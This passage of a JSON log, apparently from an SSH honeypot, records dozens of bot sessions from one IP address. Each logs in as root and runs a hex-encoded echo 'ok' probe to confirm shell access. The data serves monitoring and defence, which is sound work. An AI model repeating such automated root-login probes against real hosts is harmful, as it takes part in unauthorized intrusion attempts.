  "started_at": "2026-08-23T09:15:51.333992+00:00",
  "ended_at": "2026-08-23T09:15:53.214213+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2167bb03-b572-4700-9683-b938d6e986e6",
  "name": "quaint-sterling-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43640,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:48.616480+00:00",
  "ended_at": "2026-08-23T09:15:50.683573+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1d504845-43c6-4efa-b935-a8028c3ecb07",
  "name": "plush-jagged-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:46.800175+00:00",
  "ended_at": "2026-08-23T09:15:47.945079+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f345ad4e-3a39-4fcf-be86-bf054af14061",
  "name": "smoky-windswept-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43624,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:44.369738+00:00",
  "ended_at": "2026-08-23T09:15:46.123002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c1b7750d-074b-4e05-9045-5eb883a94ddf",
  "name": "hazy-supple-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43620,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:41.397400+00:00",
  "ended_at": "2026-08-23T09:15:43.587786+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a6bad73e-5496-44cb-9ace-ad1a4805e673",
  "name": "lively-eager-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43614,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:39.402332+00:00",
  "ended_at": "2026-08-23T09:15:40.591478+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "78dcb6d0-048e-49fd-a7b1-47a0e043a633",
  "name": "glassy-gentle-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:37.643080+00:00",
  "ended_at": "2026-08-23T09:15:38.634958+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "97409369-311c-4642-a6af-47164a1133fe",
  "name": "hearty-lively-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33316,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:34.806173+00:00",
  "ended_at": "2026-08-23T09:15:36.861933+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4f3436a7-15ff-46aa-ae19-3fe75f440430",
  "name": "jovial-emerald-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33312,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:32.736246+00:00",
  "ended_at": "2026-08-23T09:15:34.125054+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e433d7f7-09a0-42ac-ae01-e271a6ad761b",
  "name": "bronzed-idle-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33308,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:30.198476+00:00",
  "ended_at": "2026-08-23T09:15:31.978129+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a292ab8b-6659-4579-bf46-8ec12639f705",
  "name": "drifting-nimble-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47244,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:28.309167+00:00",
  "ended_at": "2026-08-23T09:15:29.433811+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "908bf532-41a0-471f-931a-31f0bdb65ce4",
  "name": "serene-daring-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:26.041339+00:00",
  "ended_at": "2026-08-23T09:15:27.529740+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca7f728e-e39a-44ba-b48a-b5f1eac6015f",
  "name": "brisk-silent-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47234,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:23.263851+00:00",
  "ended_at": "2026-08-23T09:15:25.323672+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "62f74560-145d-4b6a-beb6-6a8bfd694d02",
  "name": "lanky-umber-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47232,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:21.151405+00:00",
  "ended_at": "2026-08-23T09:15:22.615138+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "87edbc35-0c96-44ec-9767-4f7db6ee59d7",
  "name": "alpine-crimson-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:19.572125+00:00",
  "ended_at": "2026-08-23T09:15:20.487669+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aa825618-515a-4c46-9d6d-54cd3634a030",
  "name": "candid-curious-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39588,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:17.501044+00:00",
  "ended_at": "2026-08-23T09:15:18.743171+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "315df485-ac5e-4fdb-b2b3-cb7cce43d147",
  "name": "prickly-western-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39572,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:15.240200+00:00",
  "ended_at": "2026-08-23T09:15:16.855183+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fd3ae870-c7bc-432a-bf54-3072cb3494a6",
  "name": "feathered-cheerful-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39564,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:13.119477+00:00",
  "ended_at": "2026-08-23T09:15:14.464654+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2f1817c8-6e03-4c65-b993-af843b333259",
  "name": "knotted-polar-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:11.016178+00:00",
  "ended_at": "2026-08-23T09:15:12.474836+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "38384a43-fa95-493c-9c82-b7761fdb40ec",
  "name": "lofty-calm-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:08.141070+00:00",
  "ended_at": "2026-08-23T09:15:10.170101+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "80f8646a-c7b4-42f9-a749-f348a436e23e",
  "name": "sandy-bitter-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52404,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:05.487381+00:00",
  "ended_at": "2026-08-23T09:15:07.395045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7ec92070-3dc2-4c55-bac1-12ef1639c7dc",
  "name": "serene-lively-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52398,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:03.455952+00:00",
  "ended_at": "2026-08-23T09:15:04.711928+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7ce59ff7-ab3f-4c72-be8e-3896a5e28bf9",
  "name": "woven-hushed-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:01.079137+00:00",
  "ended_at": "2026-08-23T09:15:02.647778+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d7eef500-7d1d-4998-ad12-2a18bc0b3b43",
  "name": "barren-dappled-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:58.293609+00:00",
  "ended_at": "2026-08-23T09:15:00.366238+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d5b8fe96-1a6a-4779-a3a6-e6dd748457b6",
  "name": "wooded-solemn-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:56.107068+00:00",
  "ended_at": "2026-08-23T09:14:57.657020+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5d31d440-6509-4b26-a2d7-a14ca5c6db74",
  "name": "buoyant-marbled-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:54.153819+00:00",
  "ended_at": "2026-08-23T09:14:55.395755+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d58f24a4-47bd-45cf-a739-f1408e55a82e",
  "name": "fleeting-lunar-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:51.645904+00:00",
  "ended_at": "2026-08-23T09:14:53.434906+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "164447fd-46c7-431c-977a-aba833ac773f",
  "name": "lunar-knotted-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:46.902894+00:00",
  "ended_at": "2026-08-23T09:14:51.009632+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf3b6720-8fb9-422d-94f2-34350af0f614",
  "name": "bitter-inland-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33954,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:45.184994+00:00",
  "ended_at": "2026-08-23T09:14:46.168774+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a4a73f05-30ba-40bc-9b73-87754f9b1974",
  "name": "opal-weathered-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33950,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:42.817878+00:00",
  "ended_at": "2026-08-23T09:14:44.391969+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ba31204e-1276-4986-b92f-5c910aa92ee4",
  "name": "thawing-jagged-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:40.969864+00:00",
  "ended_at": "2026-08-23T09:14:42.034959+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4ab215f0-10c7-459d-bae7-be35ca413759",
  "name": "austere-glassy-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43604,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:38.598576+00:00",
  "ended_at": "2026-08-23T09:14:40.316219+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1758e4f9-fff0-4b8e-a3cd-c0b8ffbde3c9",
  "name": "brisk-rugged-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43602,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:36.711533+00:00",
  "ended_at": "2026-08-23T09:14:37.962093+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "82a1aca7-2608-47d2-8b05-c918c371d241",
  "name": "lanky-orderly-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43592,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:34.972490+00:00",
  "ended_at": "2026-08-23T09:14:35.951682+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d3178093-6269-4502-8785-85e08c674a92",
  "name": "bold-lively-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43578,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:32.367105+00:00",
  "ended_at": "2026-08-23T09:14:34.211927+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4b39be2a-f958-4bb9-b26a-61be8d32e402",
  "name": "lonesome-zealous-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:30.296535+00:00",
  "ended_at": "2026-08-23T09:14:31.715884+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3df38161-868d-4aa4-a95e-130fe381a3ef",
  "name": "humble-proud-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:27.472213+00:00",
  "ended_at": "2026-08-23T09:14:29.502568+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4375c99c-8c7f-4598-bfd3-96e7b727d6f0",
  "name": "dutiful-wandering-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39486,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:25.454627+00:00",
  "ended_at": "2026-08-23T09:14:26.673397+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4f8aea6f-d469-406b-b138-d9276079827d",
  "name": "tangled-reedy-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39480,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:22.957896+00:00",
  "ended_at": "2026-08-23T09:14:24.636104+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fde8c229-1b7e-4cc2-aa45-ccd1e04a2b19",
  "name": "regal-hearty-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39470,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:21.241401+00:00",
  "ended_at": "2026-08-23T09:14:22.324046+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07cc78ab-8777-4b35-b6f9-cc744cc345f3",
  "name": "gallant-weathered-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39456,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:15.215006+00:00",
  "ended_at": "2026-08-23T09:14:20.409241+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "de747b7e-4d8b-46d8-8c89-2be609972883",
  "name": "austere-calm-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39446,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:12.845204+00:00",
  "ended_at": "2026-08-23T09:14:14.570113+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c1a0c138-b854-405e-ae2c-1aa7637cf2c5",
  "name": "downy-muted-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52752,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:07.888151+00:00",
  "ended_at": "2026-08-23T09:14:12.216802+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "986ab9df-713c-4abc-8530-77177f73c94c",
  "name": "meadow-stormy-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52746,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:06.149238+00:00",
  "ended_at": "2026-08-23T09:14:07.162077+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eba5bd15-b5a3-4337-b180-3f7e8e465c57",
  "name": "dapper-blunt-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52744,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:04.063081+00:00",
  "ended_at": "2026-08-23T09:14:05.337822+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b073cc1b-fc41-4f8b-a35b-878e0f675de6",
  "name": "deft-tawny-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52742,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:14:02.351440+00:00",
  "ended_at": "2026-08-23T09:14:03.285051+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "452763ec-0903-4e41-88a5-c7295fad0d19",
  "name": "hazel-blunt-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52734,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:59.790864+00:00",
  "ended_at": "2026-08-23T09:14:01.523106+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ab9230be-ca5d-4243-9650-2e8f49614bdd",
  "name": "dapper-grumpy-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:57.253367+00:00",
  "ended_at": "2026-08-23T09:13:58.978032+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca136a2e-2845-49db-85e5-c9662eaa2158",
  "name": "gritty-thorny-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34806,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:55.338169+00:00",
  "ended_at": "2026-08-23T09:13:56.613813+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2ed52456-0534-4b6e-8d37-c68a76c94bdf",
  "name": "valiant-lofty-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34796,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:53.621885+00:00",
  "ended_at": "2026-08-23T09:13:54.650878+00:00",
  "ended_reason": "exec complete",
